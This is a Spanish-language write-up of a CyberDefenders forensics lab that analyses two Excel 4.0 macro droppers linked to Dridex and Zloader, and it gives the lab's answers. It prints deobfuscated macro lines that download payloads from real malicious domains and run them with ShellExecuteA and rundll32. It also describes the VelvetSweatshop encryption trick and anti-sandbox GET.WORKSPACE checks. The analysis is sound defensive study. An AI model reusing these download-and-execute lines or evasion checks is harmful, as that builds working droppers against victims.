



CyberDefenders

RESOLUCIÓN DE LABORATORIO

Lab: XLM Macros (CyberDefenders)

Análisis forense de documentos Excel maliciosos basados en macros heredadas (XLM). El laboratorio se enfoca en desofuscar el código, analizar sus avanzadas técnicas de evasión (Anti-Sandbox/Anti-VM) y rastrear la cadena de infección para identificar la descarga de troyanos bancarios como Dridex y Zloader.

Sebastian David
Torres Reyes

Escenario:

Recently, we have seen a resurgence of Excel-based malicious office documents. However, instead of using VBA-style macros, they are using older style Excel 4 macros. This changes our approach to analyzing these documents, requiring a slightly different set of tools. In this challenge, you, as a security blue team analyst will get hands-on with two documents that use Excel 4.0 macros to perform anti-analysis and download the next stage of the attack.

Herramientas utilizadas:

- oletools
- msoffcrypto-tool
- MalwareBazaar
- Oledump
- xlmdeobfuscated
- VirusTotal

P1: Sample1: What is the document decryption password?

R: VelvetSweatshop

Se verificó que el tipo de archivo de Sample1 es un Composite Document File V2 Document (OLE2) y la aplicación que lo creó es Microsoft Excel.

```
remnux@remnux: ~/Documents/Prueba/55-xlm-macros/temp_extract_dir/c38-xlm-macros
remnux@remnux:~/Documents/Prueba/55-xlm-macros/temp_extract_dir/c38-xlm-macros$ file sample1-fb5ed444ddc37d748639f624397cfff2a.bin
sample1-fb5ed444ddc37d748639f624397cfff2a.bin: Composite Document File V2 Document, Little Endian, OLE2: Windows, Version 6.2, Code page: 1252, Name of Creating Application: Microsoft Excel, Create Time/Date: Wed Apr 1 11:48:22 2020, Last Saved Time/Date: Thu Apr 2 12:21:34 2020, Security: 1
```

Se utilizó oleid para obtener información adicional del binario, donde inicialmente se confirmó que utiliza OLE y, aparentemente, no contenía VBA Macros ni XLM Macros. Además, se mostró que el archivo estaba encriptado y se sugirió el uso de la herramienta msoffcrypto-tool para la descriptación.

Indicator	Value	Risk	Description
File format	MS Excel 97-2003 Workbook or Template	info	
Container format	OLE	info	Container type
Application name	Microsoft Excel	info	Application name declared in properties
Properties code page	1252: ANSI Latin 1; Western European (Windows)	info	Code page used for properties
Encrypted	True	low	The file is encrypted. It may be decrypted with msoffcrypto-tool
VBA Macros	No	none	This file does not contain VBA macros.
XLM Macros	No	none	This file does not contain Excel 4/XLM macros.
External Relationships	0	none	External relationships such as remote templates, remote OLE objects, etc

Para una investigación más profunda se utilizó olevba, herramienta con la que se descubrió que el binario sí contiene XLM Macros. Asimismo, se detectaron otros indicadores sospechosos que revelan que el código malicioso se ejecuta en cuanto

se abre el archivo de Excel, pudiendo realizar llamadas a librerías DLL mediante los macros; además también contiene código ofuscado en formato hexadecimal.

Type	Keyword	Description
AutoExec	Auto_Open	Runs when the Excel Workbook is opened
Suspicious	RUN	May run an executable file or a system command
Suspicious	CALL	May call a DLL using Excel 4 Macros (XLM/XLF)
Suspicious	Hex Strings	Hex-encoded strings were detected, may be used to obfuscate strings (option --decode to see all)
Suspicious	XLM macro	XLM macro found. It may contain malicious code

Mediante la herramienta msoffcrypto-tool se confirmó que el archivo está encriptado. Se optó por empezar las pruebas de descryptación utilizando la clave 'VelvetSweatshop', debido a que dicha clave es utilizada por Microsoft como un mecanismo interno de compatibilidad y automatización para que el archivo sea transferido aparentemente sin encriptación, permitiendo que el destinatario pueda abrir el archivo sin necesidad de introducir una clave. Los atacantes suelen explotar esa función como técnica de evasión para evitar que los motores de antivirus puedan inspeccionar el contenido, logrando al mismo tiempo que la víctima abra el archivo sin sospechas. Finalmente, se confirma el uso de esta técnica por parte del atacante, habiendo utilizado la contraseña 'VelvetSweatshop' para encriptar el archivo Excel.

```
remnux@remnux:~/Documents/Prueba/55-xlm-macros/temp_extract_dir/c38-xlm-macros$ msoffcrypto-tool sample1-fb5ed444ddc37d748639f624397cff2a.bin sample1.xls -p "VelvetSweatshop" -v
Version: 6.0.0
Version: 3 2
126
{'flags': 12, 'sizeExtra': 0, 'algId': 26625, 'algIdHash': 32772, 'keySize': 128, 'providerType': 1, 'reserved1': 106191136, 'reserved2': 0, 'cspName': 'Microsoft Enhanced Cryptographic Provider v1.0\x00'}
{'saltSize': 16, 'salt': b'7.ThI\bx8\bx1\xcf\x83\n*\xc0\n\x1a\x17\xbf', 'encryptedVerifier': b'\xa6\xfc4\xb4\xb3~\x95\xf2\xd4\x89\xb3c\x9a&\x93', 'verifierHashSize': 20, 'encryptedVerifierHash': b'I\xec\xa2\xec\xb2\xfez9Z.\xf0\xa9]uX\xac\xddZ'}
[b'\xe1'\xf2|Q\x03\xbc\\\xc4K\xcd\xf0\xa1^\x16\rDPf\xff', b'\xe1'\xf2|Q\x03\xbc\\\xc4K\xcd\xf0\xa1^\x16\rDPf\xff']
```

P2: Sample1: This document contains six hidden sheets. What are their names? Provide the value of the one starting with S.

R: SOCWNEScLLxkLhtJp

Mediante el análisis realizado con olevba, también se identificaron seis hojas ocultas (SOCWNEscLLxkLhtJ, OHqYbvYcqmWjJJjs, Macro, Macro, Macro y Macro).

```

remnux@remnux:~/Documents/Prueba/55-xlm-macros/temp_extract_dir/c38-xlm-macros$ olevba sample1.xls
olevba 0.60.2 on Python 3.12.3 - http://decalage.info/python/oletools
=====
FILE: sample1.xls
Type: OLE
-----
VBA MACRO xlm_macro.txt
in file: xlm_macro - OLE stream: 'xlm_macro'
-----
' 0085 25 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - SOCWNEScLLxkLhtJ
' 0085 25 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - 0HqYbvYcqmwJJjs
' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - Macro
' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - Macro
' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - Macro
' 0085 14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, hidden - Macro
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto Open len=7 ptgRef3d SOCWNEScLLxkLhtJ!A1275

```

Debido a que se verificó que parte del contenido de la macro se encontraba ofuscado, se utilizó xlmdeobfuscator para analizar dinámicamente la lógica del código de Excel 4.0. Este análisis profundo reveló una discrepancia en los nombres y permitió confirmar que el nombre real y desofuscado de la primera hoja oculta es SOCWNEScLLxkLhtJp (añadiendo el carácter 'p' final que la herramienta estática no lograba procesar completamente).

```

XLM
DEOBFUSCATOR

XLMMacroDeobfuscator(v0.2.7) - https://github.com/DissectMalware/XLMMacroDeobfuscator
File: /home/remnux/Documents/Prueba/55-xlm-macros/temp_extract_dir/c38-xlm-macros/sample1.xls
Unencrypted xls file
[Loading Cells]
auto_open: auto_open->'SOCWNEScLLxkLhtJp'!$A$1275
[Starting Deobfuscation]
CELL:A1275      , FullEvaluation      , RUN(SOCWNEScLLxkLhtJp!A01566)
CELL:A01566     , FullEvaluation      , RUN(SOCWNEScLLxkLhtJp!FA465)
CELL:FA465      , FullEvaluation      , RUN(SOCWNEScLLxkLhtJp!FH1915)
CELL:FH1915     , FullEvaluation      , RUN(SOCWNEScLLxkLhtJp!FC1813)
CELL:FC1813     , FullEvaluation      , RUN(SOCWNEScLLxkLhtJp!DK1306)

```

P3: Sample1: What URL is the malware using to download the next stage? Only include the second-level and top-level domain. For example, xyz.com.

R: hxxp[:][]/[]/rilaer[.]com

El flujo de esta macro inicia llamando a la librería Kernel32 y la función CreateDirectoryA para crear carpetas en el disco C (C:\jhbtqNj\IOKVYnJ). Posteriormente, llama a la librería URLMON y la función URLDownloadToFileA para

descargar el payload de la siguiente fase del ataque desde el dominio C2 hxxp[:][][/]/[.]rilaer[.]com.

Todo este proceso de ejecución y saltos de código ocurre dentro de la hoja oculta SOCWNEScLLxkLhtJp. Al llegar a la celda DW1338, el malware guarda el payload descargado en el directorio anteriormente creado con el nombre KUdYCRk.exe.

Finalmente, en la celda DW1339, llama a la librería Shell32 y utiliza la función ShellExecuteA para ejecutar de forma silenciosa el ejecutable malicioso.

```
CELL:EK740      , FullEvaluation      , RUN(SOCWNEScLLxkLhtJp!DW1335)
CELL:DW1335     , FullEvaluation      , CALL("Kernel32","CreateDirectoryA","JCJ","C:\jhbtqNj",0)
CELL:DW1336     , FullEvaluation      , RUN(SOCWNEScLLxkLhtJp!FR1805)
```

```
CELL:CV964      , FullEvaluation      , RUN(SOCWNEScLLxkLhtJp!BL1005)
CELL:BL1005     , FullEvaluation      , RUN(SOCWNEScLLxkLhtJp!DW1337)
CELL:DW1337     , FullEvaluation      , CALL("Kernel32","CreateDirectoryA","JCJ","C:\jhbtqNj\I0KVYnJ",0)
CELL:DW1338     , FullEvaluation      , CALL("URLMON","URLDownloadToFileA","JJCCJJ",0,"http://rilaer.com/IfAmGZIjJbwzvKNT
xSPM/ixcxmzcvqi.exe",0,0)
CELL:DW1339     , FullEvaluation      , CALL("Shell32","ShellExecuteA","JJCCCCJ",0,"Open","C:\jhbtqNj\I0KVYnJ\KUdYCRk.exe",0,0)
CELL:DW1340     , End                  , HALT()
```

P4: Sample1: What malware family was this document attempting to drop?

R: Dridex

Se investigó la URL en plataformas de inteligencia de amenazas. Según MalwareBazaar, la familia de malware a la que pertenece el ejecutable que intenta descargar el archivo investigado es Dridex. Esta familia de malware es un sofisticado troyano bancario diseñado para Windows que se distribuye normalmente mediante phishing, y su objetivo principal es el robo de credenciales financieras y facilitar transacciones fraudulentas.

File name:	ejrwwqokckt.exe
Download:	 download sample
Signature ©	 Dridex  Alert ▼
File size:	253'952 bytes
First seen:	2020-04-02 15:52:06 UTC
Last seen:	2020-04-02 16:50:20 UTC



abuse_ch

Dridex malspam campaign sent from GMX mailservers (compromised email accounts?), example:

HELO: mout.gmx.net
Sending IP: 212.227.15.15
From: Daphna Carri <January.Fejes86848@gmx.com>
Subject: Invoice Due #854962
Attachment: 854962.xls

Dridex payload URLs:

<http://rilaer.com/IfAmGZIjJbwzvKNTxSPM/ixcxmzcvqi.exe>
<http://lialer.com/wfBIQQUccZOdYQKJvhxm/ejrwqokckt.exe>

P5: Sample2: This document has a very hidden sheet. What is the name of this sheet?

R: CSHykdYHvi

En esta ocasión, con la segunda muestra (sample2), se verificó el tipo de archivo siendo un Composite Document File V2 Document (OLE2), por lo que se confirma que utiliza OLE.

```
remnux@remnux:~/Documents/Prueba/55-xlm-macros/temp_extract_dir/c38-xlm-macros$ file sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin
sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin: Composite Document File V2 Document, Little Endian, Os: Windows, Version 1
0.0, Code page: 1252, Comments: ZNrQUl11Jl6jcYBb4wu, Name of Creating Application: Microsoft Excel, Create Time/Date: Th
u Feb 27 10:23:09 2020, Last Saved Time/Date: Mon Mar 30 12:27:59 2020, Security: 0
```

Mediante oleid se obtuvieron detalles sobre el archivo investigado: se confirmó que utiliza OLE, no está encriptado (en comparación con la primera muestra) y, en esta ocasión, se reveló en primera instancia que el archivo sí contiene XLM Macros.

Filename: sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin			
Indicator	Value	Risk	Description
File format	MS Excel 97-2003 Workbook or Template	info	
Container format	OLE	info	Container type
Application name	Microsoft Excel	info	Application name declared in properties
Properties code page	1252: ANSI Latin 1; Western European (Windows)	info	Code page used for properties
Encrypted	False	none	The file is not encrypted
VBA Macros	No	none	This file does not contain VBA macros.
XLM Macros	Yes	Medium	This file contains XLM macros. Use olevba to analyse them.
External Relationships	0	none	External relationships such as remote templates, remote OLE objects, etc

Mediante olevba se determinó que el archivo de Microsoft Excel contiene una hoja muy oculta con el nombre ‘CSHykdYHv’. Sin embargo, al igual que con la primera muestra, el nombre completo, ‘CSHykdYHvi’, se logró extraer y confirmar mediante el uso de la herramienta xlmdeobfuscator.

```

remnux@remnux:~/Documents/Prueba/55-xlm-macros/temp_extract_dir/c38-xlm-macros$ olevba sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin
olevba 0.60.2 on Python 3.12.3 - http://decalage.info/python/oletools
=====
FILE: sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin
Type: OLE
=====
VBA MACRO xlm_macro.txt
in file: xlm_macro - OLE stream: 'xlm_macro'
-----
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet
' 0085 18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden - CSHykdyHv
' 0018 29 LABEL : Cell Value, String Constant - _xlfn.CONCAT hidden len=2 ptgErr *INCOMPLETE FORMULA PARSING* Remaining, unparsed expression: b'\xld'

```

```

XLM
DEOBFUSCATOR

XLMMacroDeobfuscator(v0.2.7) - https://github.com/DissectMalware/XLMMacroDeobfuscator
File: /home/remnux/Documents/Prueba/55-xlm-macros/temp_extract_dir/c38-xlm-macros/sample2-b5d469a07709b5ca6fee934b1e5e8e38.bin
Unencrypted xls file
[Loading Cells]
SHRFLMA (sub): 0 0 1 8 6
SHRFLMA (sub): 9 9 1 8 8
SHRFLMA (sub): 19 19 1 7 7
SHRFLMA (sub): 26 26 0 7 8
auto_open: auto open-> CSHykdyHv!$J$727
[Starting Deobfuscation]

```

P6: Sample2: This document uses reg.exe. What registry key is it checking?

R: VBAWarnings

Se utilizó oledump con el plugin_biff donde se descubrió el comportamiento del malware. Inicialmente utiliza la función CALL para ejecutar la herramienta nativa de Windows reg.exe con el objetivo de exportar la clave de registro que contiene la configuración de seguridad de Excel y guardarla en un archivo 1.reg. Después, realiza una verificación de versión de Excel, abre el archivo, busca y lee 255 caracteres a partir del byte 215 donde se revela lo encontrado, es decir, VBAWarnings. Finalmente, cierra la lectura del archivo y lo elimina.

```

-----
0208 16 ROW : Describes a Row
'0006 200 FORMULA : Cell Formula - R727C10 len=178 ptgStr "Shell32" ptgStr "ShellExecuteA" ptgStr "JICCCJ" ptgInt 0 ptgStr "open" ptgStr
"C:\Windows\system32\reg.exe" ptgStr "EXPORT HKCU\Software\Microsoft\Office\1" ptgInt 2 ptgFuncV GET.WORKSPACE (0x00ba) ptgConcat ptgStr "\\Excel\Security
c:\users\public\1.reg /y" ptgConcat ptgInt 0 ptgInt 5 ptgFuncVarV args 9 func CALL (0x0096) '
0006 45 FORMULA : Cell Formula - R728C10 len=23 ptgAttr ptgFuncV NOW (0x004a) ptgStr "00:00:03" ptgAdd ptgFuncVarV args 1 func WAIT (0x8095)
'0006 50 FORMULA : Cell Formula - R729C10 len=28 ptgStr "c:\users\public\1.reg" ptgFuncVarV args 1 func FOPEN (0x0084) '
0006 38 FORMULA : Cell Formula - R730C10 len=16 ptgRefV R729C10 ptgAttr ptgInt 215 ptgFuncVarV args 2 func FPOS (0x008b)
0006 37 FORMULA : Cell Formula - R731C10 len=15 ptgRefV R729C10 ptgAttr ptgInt 255 ptgFuncV FREAD (0x0088)
'0207 131 STRING : String Value of a Formula - b1 VBAWarnings -dword:00000021\
0006 30 FORMULA : Cell Formula - R732C10 len=8 ptgRefV R729C10 ptgFuncV FCLOSE (0x0085)
'0006 50 FORMULA : Cell Formula - R733C10 len=28 ptgStr "c:\users\public\1.reg" ptgFuncVarV args 1 func FILE.DELETE (0x8006) '
0006 71 FORMULA : Cell Formula - R734C10 len=49 ptgStr "0001" ptgRefV R731C10 ptgFuncVarV args 2 func SEARCH (0x0052) ptgFuncV ISNUMBER (0x0080)
ptgAttr ptgBool FALSE ptgFuncVarV args 1 func CLOSE (0x8010) ptgAttr ptgRef R1C10 ptgFuncV GOTO (0x0035) ptgAttr ptgFuncVarV args 3 func IF (0x0001)
00d7 20 DBCELL : Stream Offsets
01c2 12
00ec 80 MSODRAWING : Microsoft Office Drawing
023e 18 WINDOW2 : Sheet Window Information
088b 16 PLV : Page Layout View Settings in Excel 2007
001d 15 SELECTION : Current Selection
0099 2 STANDARDWIDTH : Standard Column Width
00ef 6
0867 23 FEATHEADR : Shared Feature Header
000a 0 EOF : End of File

```


P7: Sample2: From the use of reg.exe, what value of the assessed key indicates a sandbox environment?

R: 0x1

Tras la evaluación del valor 'VBAWarnings' dentro de la clave HKCU\Software\Microsoft\Office\[VERSION]\Excel\Security, se observó que el malware exporta y lee la configuración del sistema. En el entorno analizado, encontró el valor dword:00000002, el cual corresponde al nivel seguro predeterminado de Windows para las advertencias de macros VBA.

```
'0006 200 FORMULA : Cell Formula - R727C10 len=178 ptgStr "Shell32" ptgStr "ShellExecuteA" ptgStr "JJCCCJJ" ptgInt 0 ptgStr "open" ptgStr "C:\\Windows\\system32\\reg.exe" ptgStr "EXPORT HKCU\\Software\\Microsoft\\Office\\" ptgInt 2 ptgFuncV GET.WORKSPACE (0x00ba) ptgConcat ptgStr "\\Excel\\Security c:\\users\\public\\1.reg /y" ptgConcat ptgInt 0 ptgInt 5 ptgFuncVarV args 9 func CALL (0x0096) '
'0006 45 FORMULA : Cell Formula - R728C10 len=23 ptgAttr ptgFuncV NOW (0x004a) ptgStr "00:00:03" ptgAdd ptgFuncVarV args 1 func WAIT (0x8095)
'0006 50 FORMULA : Cell Formula - R729C10 len=28 ptgStr "c:\\users\\public\\1.reg" ptgFuncVarV args 1 func FOPEN (0x0084) '
'0006 38 FORMULA : Cell Formula - R730C10 len=16 ptgRefV R729C10 ptgAttr ptgInt 215 ptgFuncVarV args 2 func FPOS (0x008b)
'0006 37 FORMULA : Cell Formula - R731C10 len=15 ptgRefV R729C10 ptgAttr ptgInt 255 ptgFuncV FREAD (0x0088)
'0207 131 STRING : String Value of a Formula - b\\\\"VBAWarnings"=dword:00000002\\'
```

Posteriormente, mediante el uso de la herramienta xlmdeobfuscator para la desofuscación del código de las macros, se determinó que el malware implementa una técnica anti-análisis. El código utiliza una instrucción condicional para verificar si la cadena 0001 (0x1, que significa "Habilitar todas las macros") está presente en la clave de registro exportada. La presencia de este valor es un fuerte indicador de que el documento se está ejecutando dentro de un entorno automatizado (Sandbox).

```
CELL:J733 , PartialEvaluation , =FILE.DELETE("c:\\users\\public\\1.reg")
CELL:J734 , Branching , IF(ISNUMBER(SEARCH("0001",J731)),CLOSE(FALSE),GOTO(J1))
CELL:J734 , FullEvaluation , [FALSE] GOTO(J1)
```

P8: Sample2: This document performs several additional anti-analysis checks. What Excel 4 macro function does it use?

R: GET.WORKSPACE

El malware emplea en múltiples ocasiones la función GET.WORKSPACE() que se utiliza en macros Excel 4.0 (XLM) con el objetivo de realizar reconocimiento del entorno e implementar técnicas anti-análisis. El malware verifica las siguientes condiciones para terminar el proceso:

- GET.WORKSPACE(2) (Celda J727): Verifica la versión de Microsoft Excel para asegurar compatibilidad antes de lanzar el payload.
- GET.WORKSPACE(13) (Celda J1): El malware verifica si el ancho del espacio de trabajo en píxeles es menor a 770 (Anti-Sandbox).

- GET.WORKSPACE(14) (Celda J2): El malware verifica si el alto del espacio de trabajo en píxeles es menor a 381 (Anti-Sandbox).
- GET.WORKSPACE(19) (Celda J4): Comprueba si hay un mouse presente en el sistema (Anti-VM).
- GET.WORKSPACE(42) (Celda J5): Verifica si el dispositivo donde el malware está presente tiene tarjeta de sonido (Anti-VM).
- GET.WORKSPACE(1) (Celda J6): Devuelve una cadena de texto con el sistema operativo. Utiliza la función SEARCH para buscar la cadena "Windows" y asegurarse de que no se está analizando en un emulador con el SO Linux u otro.

```
CELL:J734      , FullEvaluation      , [FALSE] GOTO(J1)
CELL:J1       , FullEvaluation      , FORMULA("=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)",K2)
CELL:J2       , FullEvaluation      , FORMULA("=IF(GET.WORKSPACE(14)<381, CLOSE(FALSE),)",K4)
CELL:J4       , FullEvaluation      , FORMULA("=SHARED FMLA at rowx=0 colx=1IF(GET.WORKSPACE(19),,CLOSE(TRUE))",K5)
CELL:J5       , FullEvaluation      , FORMULA("=SHARED FMLA at rowx=0 colx=1IF(GET.WORKSPACE(42),,CLOSE(TRUE))",K6)
CELL:J6       , FullEvaluation      , FORMULA("=SHARED FMLA at rowx=0 colx=1IF(ISNUMBER(SEARCH("Windows",GET.WORKSPAC
E(1))), ,CLOSE(TRUE))",K7)
```

P9: Sample2: This document checks for the name of the environment in which Excel is running. What value is it using to compare?

R: Windows

En la celda J6 el malware verifica si se está ejecutando en un entorno operativo Windows.

```
CELL:J6       , FullEvaluation      , FORMULA("=SHARED FMLA at rowx=0 colx=1IF(ISNUMBER(SEARCH("Windows",GET.WORKSPAC
E(1))), ,CLOSE(TRUE))",K7)
```

P10: Sample2: What type of payload is downloaded?

R: DLL

Posterior a la ejecución de las técnicas anti-análisis, y en caso de no detectar ninguna de las condiciones de evasión, el malware llama a la API nativa de Windows 'urlmon' y a la función URLDownloadToFileA para descargar el payload de la siguiente fase del ataque desde el dominio 'ethelenecrace[.]xyz[/]fbb3', y lo guarda en el directorio c:\Users\Public\ con el nombre bmjn5ef.html.

Posteriormente, el malware muestra un mensaje de alerta indicando que no se puede abrir el documento porque está corrupto, con el objetivo de engañar a la víctima.

Finalmente, el malware llama a la API Shell32 y a la función ShellExecuteA para ejecutar directamente un comando que invoca el proceso legítimo de Windows

‘rundll32.exe’, abriendo y ejecutando el archivo descargado. El uso del proceso rundll32, diseñado específicamente para la ejecución de librerías dinámicas de Windows, confirma que el archivo con apariencia de HTML en realidad era un archivo de tipo DLL.

```
CELL:J6      , FullEvaluation      , FORMULA(="=SHARED FMLA at rowx=0 colx=1IF(ISNUMBER(SEARCH("Windows",GET.WORKSPAC
E(1))), ,CLOSE(TRUE))",K7)
CELL:J7      , FullEvaluation      , FORMULA(="=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ethelenec
race.xyz/fbb3","c:\Users\Public\bmjn5ef.html",0,0)",K8)
CELL:J8      , FullEvaluation      , FORMULA(="=SHARED FMLA at rowx=0 colx=1ALERT("The workbook cannot be opened or re
paired by Microsoft Excel because it's corrupt.",2)",K9)
CELL:J9      , FullEvaluation      , FORMULA(="=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\
system32\rundll32.exe","c:\Users\Public\bmjn5ef.html,DllRegisterServer",0,5)",K11)
```

P11: Sample2: What URL does the malware download the payload from?

R: hxxps[:][]/]ethelenecrace[.]xyz[/]fbb3

En la celda J7, el payload de la siguiente fase se descarga desde la URL ‘hxxps[:][]/]ethelenecrace[.]xyz[/]fbb3’ mediante la función URLDownloadToFileA de la API urlmon.

```
CELL:J7      , FullEvaluation      , FORMULA(="=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ethelene
race.xvz/fbb3","c:\Users\Public\bmjn5ef.html",0,0)",K8)
```

P12: Sample2: What is the filename that the payload is saved as?

R: bmjn5ef.html

El archivo descargado se guarda en el directorio c:\Users\Public\ con el nombre bmjn5ef.html.

```
CELL:J7      , FullEvaluation      , FORMULA(="=CALL("urlmon","URLDownloadToFileA","JJCCJJ",0,"https://ethelene
race.xvz/fbb3","c:\Users\Public\bmjn5ef.html",0,0)",K8)
```

P13: Sample2: How is the payload executed? For example, mshta.exe

R: rundll32.exe

En la celda J9, el malware llama a la API Shell32 y a la función ShellExecuteA para ejecutar un comando que invoca el proceso rundll32.exe para ejecutar el payload descargado.

```
CELL:J9      , FullEvaluation      , FORMULA(="=CALL("Shell32","ShellExecuteA","JJCCCJJ",0,"open","C:\Windows\
system32\rundll32.exe","c:\Users\Public\bmjn5ef.html,DllRegisterServer",0,5)",K11)
```

P14: Sample2: What was the malware family?

R: Zloader

Se extrajo el hash SHA256 de la segunda muestra y se investigó en VirusTotal. Uno de los motores antivirus, 'TrendMicro-HouseCall', muestra información adicional sobre la categoría de la amenaza, identificando que la familia a la que pertenece el malware es Zloader. Este se caracteriza por ser un troyano bancario basado en el código original de Zeus, diseñado para el robo de credenciales, evasión de herramientas de seguridad y control remoto de los equipos infectados.

TrendMicro-HouseCall



Trojan.XF.ZLOADER.SMMR2